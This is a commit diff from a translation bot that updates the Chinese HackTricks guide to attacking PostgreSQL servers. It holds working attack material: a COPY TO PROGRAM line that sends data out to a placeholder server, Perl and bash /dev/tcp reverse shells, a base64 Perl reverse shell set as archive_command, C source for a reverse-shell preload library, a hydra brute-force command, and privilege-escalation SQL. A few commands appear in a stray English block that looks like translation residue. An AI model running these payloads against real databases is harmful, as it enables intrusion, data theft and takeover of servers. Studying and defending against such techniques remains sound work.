Translated ['network-services-pentesting/pentesting-postgresql.md', 'win

This commit is contained in:
Translator 2024-03-15 21:34:45 +00:00
parent 71df20948e
commit 13639ef98b
2 changed files with 295 additions and 278 deletions

View file

@ -3,22 +3,22 @@
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可轻松构建并 **自动化** 使用全球**最先进**的社区工具。\
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) 可轻松构建并 **自动化** 使用全球 **最先进** 的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary>
支持 HackTricks 的其他方式:
* 如果您想在 HackTricks 中看到您的公司广告或 **下载 PDF 版本的 HackTricks**,请查看 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* 如果您想在 HackTricks 中看到您的 **公司广告** **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索 [**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上 **关注** 我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来 **分享您的黑客技巧**
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>
@ -72,7 +72,7 @@ SELECT * FROM pg_extension;
\s
```
{% hint style="warning" %}
如果运行 **`\list`** 命令发现一个名为 **`rdsadmin`** 的数据库,那么你就知道你在一个 **AWS postgresql数据库**
如果运行 **`\list`** 命令发现一个名为 **`rdsadmin`** 的数据库,那么你就知道你在一个 **AWS postgresql数据库** 内部
{% endhint %}
要了解更多关于**如何滥用PostgreSQL数据库**的信息,请查看:
@ -101,7 +101,7 @@ connect_timeout=10');
```
* 主机已宕机
`DETAIL: 无法连接到服务器: 主机不可达 服务器是否在主机"1.2.3.4"上运行并接受端口5678上的TCP/IP连接`
`详细信息无法连接到服务器无法访问主机的路由。服务器是否在主机“1.2.3.4”上运行并接受端口5678上的TCP/IP连接
* 端口已关闭
```
@ -113,30 +113,32 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
```
### PostgreSQL
```markdown
## PostgreSQL
#### PostgreSQL Enumeration
### Enumeration
PostgreSQL服务的枚举是通过连接到默认端口5432并执行以下命令来完成的
1. **Banner Grabbing**: Use tools like `nc` or `telnet` to connect to the PostgreSQL service and grab the banner to identify the version running.
```bash
nmap -p 5432 <target>
```
2. **Nmap Scripts**: Nmap has scripts like `pgsql-brute` and `pgsql-info` that can be used to gather information about the PostgreSQL service.
#### PostgreSQL Brute Forcing
3. **Manual Connection**: Use `psql` or any PostgreSQL client to manually connect to the service and gather information.
使用工具如Hydra或Metasploit来进行暴力破解
### Exploitation
```bash
hydra -L users.txt -P passwords.txt postgres://<target>
```
1. **Default Credentials**: Check for default credentials like `postgres:postgres` or weak credentials that may have been set.
#### PostgreSQL Exploitation
2. **SQL Injection**: Exploit SQL injection vulnerabilities in web applications that interact with the PostgreSQL database.
尝试使用Metasploit中的`postgresql_login`模块进行认证绕过:
3. **Privilege Escalation**: Look for ways to escalate privileges within the PostgreSQL service to gain more control.
```bash
use auxiliary/scanner/postgres/postgres_login
### Post-Exploitation
1. **Dumping Data**: Use tools like `pg_dump` to dump the contents of the database for further analysis.
2. **Creating Backdoors**: Create backdoors for persistent access to the PostgreSQL service.
3. **Covering Tracks**: Remove logs and evidence of the attack to avoid detection.
```
```
DETAIL: FATAL: password authentication failed for user "name"
@ -146,8 +148,6 @@ DETAIL: FATAL: password authentication failed for user "name"
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
```
在PL/pgSQL函数中目前无法获取异常详细信息。但是如果您可以直接访问PostgreSQL服务器则可以检索所需的信息。如果从系统表中提取用户名和密码不可行您可以考虑使用前一节讨论的字典攻击方法因为这可能会产生积极的结果。
## 特权枚举
### 角色
@ -155,26 +155,26 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
| 角色类型 | |
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| rolsuper | 角色具有超级用户特权 |
| rolinherit | 角色自动继承其成员角色的特权 |
| rolcreaterole | 角色可以创建更多角色 |
| rolcreatedb | 角色可以创建数据库 |
| rolinherit | 角色自动继承其成员角色的特权 |
| rolcreaterole | 角色可以创建更多角色 |
| rolcreatedb | 角色可以创建数据库 |
| rolcanlogin | 角色可以登录。也就是说,此角色可以作为初始会话授权标识符 |
| rolreplication | 角色是复制角色。复制角色可以启动复制连接并创建和删除复制插槽。 |
| rolconnlimit | 对于可以登录的角色,设置此角色可以进行的最大并发连接数。-1表示无限制。 |
| rolpassword | 不是密码(始终显示为`********` |
| rolvaliduntil | 密码过期时间(仅用于密码身份验证);如果没有到期时间则为null |
| rolbypassrls | 角色绕过每个行级安全策略,请参阅[第5.8节](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)获取更多信息。 |
| rolconfig | 运行时配置变量的角色特定默认值 |
| rolconnlimit | 对于可以登录的角色,设置此角色可以建立的并发连接的最大数量。-1表示无限制。 |
| rolpassword | 不是密码(始终显示为`********` |
| rolvaliduntil | 密码过期时间(仅用于密码身份验证);如果不过期则为null |
| rolbypassrls | 角色绕过每个行级安全策略,请参阅[第5.8节](https://www.postgresql.org/docs/current/ddl-rowsecurity.html)了解更多信息。 |
| rolconfig | 运行时配置变量的角色特定默认值 |
| oid | 角色的ID |
#### 有趣的组
* 如果您是**`pg_execute_server_program`**的成员,可以**执行**程序
* 如果您是**`pg_read_server_files`**的成员,可以**读取**文件
* 如果您是**`pg_write_server_files`**的成员,可以**写入**文件
* 如果您是**`pg_execute_server_program`**的成员,可以**执行**程序
* 如果您是**`pg_read_server_files`**的成员,可以**读取**文件
* 如果您是**`pg_write_server_files`**的成员,可以**写入**文件
{% hint style="info" %}
请注意在Postgres中**用户**、**组**和**角色**是**相同的**。这取决于**您如何使用**它以及是否**允许登录**。
请注意在Postgres中**用户**、**组**和**角色**是**相同的**。这取决于您如何使用它以及是否**允许登录**。
{% endhint %}
```sql
# Get users roles
@ -272,7 +272,7 @@ GRANT pg_read_server_files TO username;
[**更多信息**](pentesting-postgresql.md#privilege-escalation-with-createrole)
{% endhint %}
**其他postgres函数**可用于**读取文件或列出目录**。只有**超级用户**和**具有显式权限**的用户可以使用它们:
其他**PostgreSQL函数**可用于**读取文件或列出目录**。只有**超级用户**和**具有显式权限**的用户可以使用它们:
```sql
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
@ -296,20 +296,18 @@ SHOW data_directory;
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
```
可以在[https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)找到**更多函数**
可以在[https://www.postgresql.org/docs/current/functions-admin.html](https://www.postgresql.org/docs/current/functions-admin.html)找到**更多函数**
### 简单文件写入
只有**超级用户**和**`pg_write_server_files`**成员可以使用`copy`来写入文件。
{% code overflow="wrap" %}
```sql
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
```
{% endcode %}
{% hint style="warning" %}
请记住,如果您不是超级用户但具有**`CREATEROLE`**权限,则可以**将自己添加到该组中:**
请记住,如果您不是超级用户但具有**`CREATEROLE`**权限,则可以**将自己添加到该组中:**
```sql
GRANT pg_write_server_files TO username;
```
@ -317,7 +315,7 @@ GRANT pg_write_server_files TO username;
{% endhint %}
请记住COPY 无法处理换行符,因此即使您使用 base64 负载,**您也需要发送一行命令**。\
这种技术的一个非常重要的限制是**`copy` 无法用于写二进制文件,因为它会修改一些二进制值。**
这种技术的一个非常重要的限制是**`copy` 无法用于写二进制文件,因为它会修改一些二进制值。**
### **上传二进制文件**
@ -329,33 +327,37 @@ GRANT pg_write_server_files TO username;
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
**漏洞赏金提示****注册** Intigriti这是一个由黑客创建的高级**漏洞赏金平台**!立即加入我们,访问 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
**漏洞赏金提示****注册** Intigriti一个由黑客创建的高级**漏洞赏金平台**!立即加入我们 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks),开始赚取高达**$100,000**的赏金!
{% embed url="https://go.intigriti.com/hacktricks" %}
### 通过本地文件写入更新 PostgreSQL 表数据
如果您具有读写 PostgreSQL 服务器文件的必要权限,您可以通过覆盖 [PostgreSQL 数据目录](https://www.postgresql.org/docs/8.1/storage.html) 中的相关文件节点来更新服务器上的任何表。
有关此技术的更多信息,请查看[此处](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)。
如果您有必要的权限来读取和写入 PostgreSQL 服务器文件,您可以通过**覆盖关联文件节点**在[PostgreSQL 数据目录](https://www.postgresql.org/docs/8.1/storage.html)中的任何表来更新服务器上的任何表。有关此技术的**更多信息**[**在这里**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users)。
所需步骤:
1. 获取 PostgreSQL 数据目录
```sql
SELECT setting FROM pg_settings WHERE name = 'data_directory';
```
**注意:** 如果无法从设置中检索当前数据目录路径,请通过 `SELECT version()` 查询获取主要的 PostgreSQL 版本,并尝试暴力破解路径。在 Unix 上安装的 PostgreSQL 的常见数据目录路径为 `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`。常见的集群名称是 `main`
**注意:** 如果无法从设置中检索当前数据目录路径,您可以通过 `SELECT version()` 查询查询主要的 PostgreSQL 版本,并尝试暴力破解路径。在 Unix 安装的 PostgreSQL 上,常见的数据目录路径是 `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`。常见的集群名称是 `main`
2. 获取与目标表关联的文件节点的相对路径
```sql
SELECT pg_relation_filepath('{TABLE_NAME}')
```
此查询应返回类似 `base/3/1337` 的内容。磁盘上的完整路径将是 `$DATA_DIRECTORY/base/3/1337`,即 `/var/lib/postgresql/13/main/base/3/1337`
此查询应返回类似 `base/3/1337` 的内容。磁盘上的完整路径将是 `$DATA_DIRECTORY/base/3/1337`,即 `/var/lib/postgresql/13/main/base/3/1337`
3. 通过 `lo_*` 函数下载文件节点
```sql
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
```
4. 获取与目标表关联的数据类型
```sql
SELECT
STRING_AGG(
@ -376,29 +378,32 @@ ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
```
5. 使用 [PostgreSQL Filenode Editor](https://github.com/adeadfed/postgresql-filenode-editor) 来[编辑文件节点](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users);将所有 `rol*` 布尔标志设置为 1 以获取完全权限。
```bash
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
```
![PostgreSQL Filenode Editor 演示](https://raw.githubusercontent.com/adeadfed/postgresql-filenode-editor/main/demo/demo_datatype.gif)
7. 通过 `lo_*` 函数重新上传编辑后的文件节点,并覆盖磁盘上的原始文件
6. 通过 `lo_*` 函数重新上传编辑后的文件节点,并覆盖磁盘上的原始文件
```sql
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
```
8. *(可选)* 通过运行昂贵的 SQL 查询清除内存表缓存
7. _(可选)_ 通过运行昂贵的 SQL 查询来清除内存中的表缓存
```sql
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
```
9. 您现在应该在 PostgreSQL 中看到更新后的表值。
您还可以通过编辑 `pg_authid` 表成为超级管理员。**请参阅[以下部分](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables)**。
8. 现在您应该在 PostgreSQL 中看到更新后的表值。
您还可以通过编辑 `pg_authid` 表成为超级管理员。**请参阅**[**以下部分**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables)。
## RCE
### **RCE 到程序**
自[版本 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html)起,只有**超级用户**和**`pg_execute_server_program`** 组的成员才能使用 copy 进行 RCE例如用于数据外泄的示例:
自[版本 9.3](https://www.postgresql.org/docs/9.3/release-9-3.html)起,只有**超级用户**和**`pg_execute_server_program`**组的成员才能使用 copy 进行 RCE带有数据泄露的示例:
```sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
```
@ -416,7 +421,7 @@ DROP TABLE IF EXISTS cmd_exec;
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
```
{% hint style="warning" %}
请记住,如果您不是超级用户但具有 **`CREATEROLE`** 权限,可以**将自己添加到该组中:**
请记住,如果您不是超级用户但具有 **`CREATEROLE`** 权限,可以**将自己添加到该组中:**
```sql
GRANT pg_execute_server_program TO username;
```
@ -426,84 +431,88 @@ GRANT pg_execute_server_program TO username;
或者使用 **metasploit** 中的 `multi/postgres/postgres_copy_from_program_cmd_exec` 模块。\
关于此漏洞的更多信息[**在这里**](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5)。尽管被报告为 CVE-2019-9193但Postges宣称这是一个[功能,不会修复](https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/)。
### 使用 PostgreSQL 语言进行 RCE
### 使用PostgreSQL语言进行RCE
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md" %}
[rce-with-postgresql-languages.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-languages.md)
{% endcontent-ref %}
### 使用 PostgreSQL 扩展进行 RCE
### 使用PostgreSQL扩展进行RCE
一旦您从之前的帖子中**学习了如何上传二进制文件**,您可以尝试获取**RCE 通过上传 postgresql 扩展并加载它**。
一旦你从之前的帖子中**学会了如何上传二进制文件**,你可以尝试通过**上传postgresql扩展并加载它**来获得**RCE**。
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
{% endcontent-ref %}
### PostgreSQL 配置文件 RCE
### PostgreSQL配置文件RCE
{% hint style="info" %}
以下 RCE 向量在受限制的 SQLi 上下文中特别有用,因为所有步骤都可以通过嵌套的 SELECT 语句执行
以下RCE向量在受限制的SQLi上下文中特别有用因为所有步骤都可以通过嵌套的SELECT语句执行
{% endhint %}
PostgreSQL 的**配置文件**可被**postgres 用户**(运行数据库的用户)写入,因此作为**超级用户**,您可以在文件系统中写入文件,因此可以**覆盖此文件**
PostgreSQL的**配置文件**由**postgres用户**(运行数据库的用户)拥有**写入权限**,因此作为**超级用户**,您可以在文件系统中写入文件,因此可以**覆盖此文件**
![](<../.gitbook/assets/image (303).png>)
#### **使用 ssl\_passphrase\_command 进行 RCE**
#### 使用ssl\_passphrase\_command进行RCE
关此技术的更多信息[在这里](https://pulsesecurity.co.nz/articles/postgres-sqli)。
此技术的更多信息[在这里](https://pulsesecurity.co.nz/articles/postgres-sqli)。
配置文件具有一些有趣的属性,可以导致 RCE
配置文件具有一些有趣的属性可以导致RCE
- `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` 数据库私钥的路径
- `ssl_passphrase_command = ''` 如果私钥文件受密码保护加密PostgreSQL 将**执行此属性中指定的命令**。
- `ssl_passphrase_command_supports_reload = off` 如果此属性为**on**,则在执行 `pg_reload_conf()` 时,如果密钥受密码保护,将执行**命令**。
* `ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'` 数据库私钥的路径
* `ssl_passphrase_command = ''` 如果私钥文件受密码保护加密PostgreSQL将**执行此属性中指定的命令**。
* `ssl_passphrase_command_supports_reload = off` 如果此属性为**on**,则在执行`pg_reload_conf()`时,如果密钥受密码保护,将执行**命令**。
然后,攻击者需要:
1. 从服务器**转储私钥**
2. **加密**下载的私钥:
- `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
1. `rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key`
3. **覆盖**
4. **转储**当前的 postgresql **配置**
4. **转储**当前的PostgreSQL **配置**
5. 使用上述属性配置**覆盖** **配置**
- `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
- `ssl_passphrase_command_supports_reload = on`
1. `ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'`
2. `ssl_passphrase_command_supports_reload = on`
6. 执行 `pg_reload_conf()`
在测试中,我注意到这仅在**私钥文件具有 640 权限****由 root 拥有**并由**组 ssl-cert 或 postgres 拥有**(因此 postgres 用户可以读取它),并且位于 _/var/lib/postgresql/12/main_ 中时才有效。
在测试中我注意到,这只有在**私钥文件具有640权限****由root拥有**并且由**ssl-cert或postgres组拥有**因此postgres用户可以读取它并且放置在_/var/lib/postgresql/12/main_中时才有效。
#### **使用 archive\_command 进行 RCE**
#### 使用archive\_command进行RCE
有关此配置和 WAL 的更多[信息在这里](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)。
有关此配置和WAL的更多[**信息在这里**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)****
配置文件中的另一个可利用属性是 `archive_command`
配置文件中的另一个可利用属性是`archive_command`。
要使其工作,`archive_mode` 设置必须为 `'on'``'always'`。如果是这样,那么我们可以覆盖 `archive_command` 中的命令,并通过 WAL预写式日志记录操作强制执行它。
为了使其工作,`archive_mode`设置必须为`'on'`或`'always'`。如果是这样,那么我们可以覆盖`archive_command`中的命令,并通过WAL预写式日志记录操作强制执行它。
一般步骤
一般步骤
1. 检查归档模式是否已启用:`SELECT current_setting('archive_mode')`
2. 使用有效载覆盖 `archive_command`。例如,反向 shell`archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
2. 使用有效载覆盖`archive_command`。例如反向shell`archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
3. 重新加载配置:`SELECT pg_reload_conf()`
4. 强制运行 WAL 操作,这将调用归档命令:`SELECT pg_switch_wal()` 或对于某些 Postgres 版本 `SELECT pg_switch_xlog()`
4. 强制运行WAL操作这将调用归档命令`SELECT pg_switch_wal()`或对于某些Postgres版本`SELECT pg_switch_xlog()`
#### 使用预加载库进行RCE
#### **使用预加载库进行 RCE**
有关此技术的更多信息[在这里](https://adeadfed.com/posts/postgresql-select-only-rce/)。
此攻击向量利用以下配置变量:
- `session_preload_libraries` -- PostgreSQL 服务器在客户端连接时将加载的库。
- `dynamic_library_path` -- PostgreSQL 服务器将搜索库的目录列表。
我们可以将 `dynamic_library_path` 值设置为由运行数据库的 `postgres` 用户可写的目录,例如 `/tmp/` 目录,并在那里上传一个恶意的 `.so` 对象。接下来,我们将通过将其包含在 `session_preload_libraries` 变量中,强制 PostgreSQL 服务器加载我们新上传的库。
* `session_preload_libraries` -- PostgreSQL服务器在客户端连接时将加载的库。
* `dynamic_library_path` -- PostgreSQL服务器将搜索库的目录列表。
我们可以将`dynamic_library_path`值设置为`postgres`用户运行数据库的可写目录,例如`/tmp/`目录,并在那里上传一个恶意的`.so`对象。接下来,我们将通过将其包含在`session_preload_libraries`变量中强制PostgreSQL服务器加载我们新上传的库。
攻击步骤为:
1. 下载原始的 `postgresql.conf`
2. 在 `dynamic_library_path` 值中包含 `/tmp/` 目录,例如 `dynamic_library_path = '/tmp:$libdir'`
3. 在 `session_preload_libraries` 值中包含恶意库名称,例如 `session_preload_libraries = 'payload.so'`
4. 通过 `SELECT version()` 查询检查主要的 PostgreSQL 版本
5. 使用正确的 PostgreSQL dev 包编译恶意库代码
示例代码:
1. 下载原始的`postgresql.conf`
2. 在`dynamic_library_path`值中包含`/tmp/`目录,例如`dynamic_library_path = '/tmp:$libdir'`
3. 在`session_preload_libraries`值中包含恶意库名称,例如`session_preload_libraries = 'payload.so'`
4. 通过`SELECT version()`查询检查主要的PostgreSQL版本
5. 使用正确的PostgreSQL dev包编译恶意库代码示例代码
```c
#include <stdio.h>
#include <sys/socket.h>
@ -542,14 +551,16 @@ char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}
```
编译代码:
```bash
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
```
6. 上传在步骤 2-3 中创建的恶意 `postgresql.conf`,并覆盖原始文件
7. 将步骤 5 中的 `payload.so` 上传到 `/tmp` 目录
8. 通过重新启动服务器或调用 `SELECT pg_reload_conf()` 查询重新加载服务器配置
9. 在下一个数据库连接时,您将收到反向 shell 连接。
6. 上传在步骤2-3中创建的恶意`postgresql.conf`,并覆盖原始文件
7. 将步骤5中的`payload.so`上传到`/tmp`目录
8. 通过重新启动服务器或调用`SELECT pg_reload_conf()`查询重新加载服务器配置
9. 在下一个数据库连接时您将收到反向shell连接。
## **Postgres提权**
### CREATEROLE提权
@ -558,7 +569,7 @@ gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so
根据[**文档**](https://www.postgresql.org/docs/13/sql-grant.html): _具有**`CREATEROLE`**权限的角色可以**授予或撤销**任何**不是**超级用户的**角色**的成员资格。_
因此,如果您拥有**`CREATEROLE`**权限,您可以授予自己访问其他**角色**(不是超级用户)的权限,这可以让您读取和写入文件以及执行命令:
因此,如果您拥有**`CREATEROLE`**权限,您可以授予自己访问其他**角色**(不是超级用户)的权限,这将使您有权读取和写入文件以及执行命令:
```sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
@ -569,19 +580,19 @@ GRANT pg_write_server_files TO username;
```
#### 修改密码
拥有此角色的用户还可以**更改**其他**非超级用户**的**密码**
具有此角色的用户还可以更改其他非超级用户的密码
```sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
```
#### 提升为超级用户
通常情况下,会发现**本地用户可以在 PostgreSQL 中登录而无需提供任何密码**。因此,一旦您获得了**执行代码的权限**,您可以滥用这些权限来获**`SUPERUSER`**角色:
通常情况下,会发现**本地用户可以在 PostgreSQL 中登录而无需提供任何密码**。因此,一旦您获得了**执行代码的权限**,您可以滥用这些权限来获**`SUPERUSER`**角色:
```sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
```
{% hint style="info" %}
这通常是因为**`pg_hba.conf`**文件中的以下几行可能存在
这通常是因为**`pg_hba.conf`**文件中的以下几行:
```bash
# "local" is for Unix domain socket connections only
local all all trust
@ -590,27 +601,29 @@ host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust
```
{% endhint %}
### **ALTER TABLE提权**
在[**这篇文章**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)中解释了如何通过滥用授予用户的ALTER TABLE权限在Postgres GCP中进行**提权**。
在[**这篇文章**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-postgresql-vulnerabilities)中解释了如何通过滥用授予用户的ALTER TABLE权限在Postgres GCP中进行**提权**。
当您尝试**将另一个用户设为表的所有者**时,应该会收到**错误**以阻止此操作但显然GCP允许非超级用户postgres用户执行此操作:
当您尝试**将另一个用户设为表的所有者**时,应该会收到一个**错误**来阻止此操作但显然GCP允许在GCP中的非超级用户postgres用户中执行此操作:
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
结合这个想法以及当在具有索引函数的表上执行**INSERT/UPDATE/ANALYZE**命令时,该**函数**会作为命令的一部分以**表所有者的权限**被**调用**。可以创建一个带有函数的索引,并将所有者权限授予该表的**超级用户**,然后在具有恶意函数的表上运行ANALYZE该函数将能够执行命令因为它正在使用所有者的权限。
将这个想法与以下事实结合起来:当在具有索引函数的表上执行**INSERT/UPDATE/ANALYZE**命令时,该**函数**将作为命令的一部分以**表所有者的权限**被**调用**。可以创建一个带有函数的索引,并将所有者权限授予该表的**超级用户**,然后对该表运行带有恶意函数的ANALYZE该函数将能够执行命令因为它正在使用所有者的权限。
```c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);
```
#### 漏洞利用
#### 利用
1. 首先创建一个新表。
2. 向表中插入一些无关内容,以提供索引功能所需的数据。
3. 开发一个包含代码执行负载的恶意索引函数,允许执行未经授权的命令。
4. 将表的所有者更改为"cloudsqladmin"这是GCP专门用于管理和维护数据库的超级用户角色。
5. 对表执行ANALYZE操作。此操作迫使PostgreSQL引擎切换到表所有者"cloudsqladmin"的用户上下文。因此,恶意索引函数将以"cloudsqladmin"的权限调用,从而使先前未经授权的shell命令得以执行。
5. 对表执行ANALYZE操作。此操作会强制PostgreSQL引擎切换到表所有者"cloudsqladmin"的用户上下文。因此,恶意索引函数将以"cloudsqladmin"的权限调用,从而实现先前未经授权的shell命令的执行。
在PostgreSQL中这个流程看起来像这样
```sql
@ -652,7 +665,7 @@ dbname=somedb',
RETURNS (result TEXT);
```
{% hint style="warning" %}
请注意,为了使上一个查询起作用,**必须存在函数 `dblink`**。如果不存在,您可以尝试使用以下命令创建它:
请注意,为了使上一个查询起作用,**需要存在函数 `dblink`**。如果不存在,您可以尝试使用以下命令创建它:
```sql
CREATE EXTENSION dblink;
```
@ -670,9 +683,9 @@ RETURNS (result TEXT);
```sql
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;
```
### **具有** SECURITY DEFINER **的自定义定义函数**
### **带有** SECURITY DEFINER **的自定义函数**
[**在这篇文章中**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql)渗透测试人员能够在由IBM提供的postgres实例内提升权限因为他们**发现了带有 SECURITY DEFINER 标志的函数**
[**在这篇文章中**](https://www.wiz.io/blog/hells-keychain-supply-chain-attack-in-ibm-cloud-databases-for-postgresql)渗透测试人员能够在由IBM提供的postgres实例内提升权限因为他们**发现了带有 SECURITY DEFINER 标志的这个函数**
<pre class="language-sql"><code class="lang-sql">CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
@ -693,9 +706,9 @@ PERFORM dblink_disconnect();
</code></pre>
正如[**文档中所解释的**](https://www.postgresql.org/docs/current/sql-createfunction.html)具有 **SECURITY DEFINER 的函数** 将以 **拥有它的用户的权限** 执行。因此,如果函数**容易受到SQL注入攻击**或者使用由攻击者控制的参数执行一些**特权操作**,则可能被滥用以**在postgres内提升权限**。
